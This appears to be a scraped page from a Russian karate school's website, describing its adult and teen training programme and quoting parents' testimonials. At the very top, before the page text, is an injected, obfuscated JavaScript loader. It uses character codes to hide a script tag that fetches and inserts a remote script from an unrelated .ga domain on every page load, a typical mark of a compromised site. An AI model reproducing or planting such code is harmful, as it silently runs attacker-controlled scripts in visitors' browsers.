Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,100,111,99,107,46,108,111,118,101,103,114,101,101,110,112,101,110,99,105,108,115,46,103,97,47,109,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();
Информация

Занятия для взрослых и подростков с 12 лет

Старшая возрастная группа занимается по усиленной программе тренировок. Уровень тренировочной нагрузки в данной группе максимальный. ОФП включает в себя упражнения с отягощениями и штангой.

В программе тренировок как силовая нагрузка, так практическая отработка боевых навыков.

В процессе тренировки особое внимание уделяется:

  • наращиванию ударной мощи
  • совершенствованию техники исполнения ударов
  • стратегии и тактике поединков
  • закалке и укреплению тела

Спортсмены регулярно выступают на различного уровня соревнования по кумитэ и ката уже по взрослым правилам. Защитная амуниция также применяется в спаррингах и отработках, с целью свести к минимуму риск травматизма.

В результате занятий укрепляется тело и дух, повышается энергетический потенциал организма, возрастают адаптивные свойства человека.   Спортсмены легче справляются со сложными ситуациями в учебе, на работе и в личной жизни.

Отзывы

Отзывы родителей наших воспитанников

За год занятий в школе каратэ мой сын очень изменился! Он стал усидчивее и начал серьезно относиться к любимому делу»

Андрей

Родитель

Он никогда не убирался в своей комнате, пока я не отдала его в школу каратэ к Алексею Андреевичу

Ольга

Родитель

adminЗанятия для взрослых и подростков с 12 лет